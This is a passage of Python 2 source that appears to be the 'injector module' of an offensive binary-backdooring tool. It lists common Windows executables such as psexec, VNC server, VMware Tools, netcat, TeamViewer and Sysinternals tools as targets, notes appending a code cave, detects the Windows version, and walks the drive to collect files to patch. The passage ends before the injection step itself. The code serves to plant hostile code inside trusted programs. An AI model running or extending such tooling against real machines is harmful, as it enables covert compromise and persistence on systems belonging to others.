#[('rpcapd.exe'), None, False],
'psexec.exe':
[('psexec.exe',), 'PSEXESVC.exe', False],
'vncserver.exe':
[('vncserver.exe', ), 'vncserver', True],
# must append code cave for vmtoolsd.exe
'vmtoolsd.exe':
[('vmtools.exe', 'vmtoolsd.exe'), 'VMTools', True],
'nc.exe': [('nc.exe', ), None, False],
'Start Tor Browser.exe':
[('Start Tor Browser.exe', ), None, False],
'procexp.exe': [('procexp.exe',
'procexp64.exe'), None, True],
'procmon.exe': [('procmon.exe',
'procmon64.exe'), None, True],
'TeamViewer.exe': [('tv_x64.exe',
'tv_x32.exe'), None, True]
}
print "[*] Beginning injector module"
os_name = os.name
if os_name == 'nt':
if "PROGRAMFILES(x86)" in os.environ:
print "-You have a 64 bit system"
system_type = 64
else:
print "-You have a 32 bit system"
system_type = 32
else:
print "This works only on windows. :("
sys.exit()
winversion = platform.version()
rootdir = os.path.splitdrive(sys.executable)[0]
#print rootdir
targetdirs = []
excludedirs = []
#print system_info
winXP2003x86targetdirs = [rootdir + '\\']
winXP2003x86excludedirs = [rootdir + '\\Windows\\',
rootdir + '\\RECYCLER\\',
'\\VMWareDnD\\']
vista7win82012x64targetdirs = [rootdir + '\\']
vista7win82012x64excludedirs = [rootdir + '\\Windows\\',
rootdir + '\\RECYCLER\\',
'\\VMwareDnD\\']
#need win2003, win2008, win8
if "5.0." in winversion:
print "-OS is 2000"
targetdirs = targetdirs + winXP2003x86targetdirs
excludedirs = excludedirs + winXP2003x86excludedirs
elif "5.1." in winversion:
print "-OS is XP"
if system_type == 64:
targetdirs.append(rootdir + '\\Program Files (x86)\\')
excludedirs.append(vista7win82012x64excludedirs)
else:
targetdirs = targetdirs + winXP2003x86targetdirs
excludedirs = excludedirs + winXP2003x86excludedirs
elif "5.2." in winversion:
print "-OS is 2003"
if system_type == 64:
targetdirs.append(rootdir + '\\Program Files (x86)\\')
excludedirs.append(vista7win82012x64excludedirs)
else:
targetdirs = targetdirs + winXP2003x86targetdirs
excludedirs = excludedirs + winXP2003x86excludedirs
elif "6.0." in winversion:
print "-OS is Vista/2008"
if system_type == 64:
targetdirs = targetdirs + vista7win82012x64targetdirs
excludedirs = excludedirs + vista7win82012x64excludedirs
else:
targetdirs.append(rootdir + '\\Program Files\\')
excludedirs.append(rootdir + '\\Windows\\')
elif "6.1." in winversion:
print "-OS is Win7/2008"
if system_type == 64:
targetdirs = targetdirs + vista7win82012x64targetdirs
excludedirs = excludedirs + vista7win82012x64excludedirs
else:
targetdirs.append(rootdir + '\\Program Files\\')
excludedirs.append(rootdir + '\\Windows\\')
elif "6.2." in winversion:
print "-OS is Win8/2012"
targetdirs = targetdirs + vista7win82012x64targetdirs
excludedirs = excludedirs + vista7win82012x64excludedirs
filelist = set()
folderCount = 0
exclude = False
for path in targetdirs:
for root, subFolders, files in os.walk(path):
for directory in excludedirs:
if directory.lower() in root.lower():
#print directory.lower(), root.lower()
#print "Path not allowed", root
exclude = True
#print exclude
break
if exclude is False:
for _file in files:
f = os.path.join(root, _file)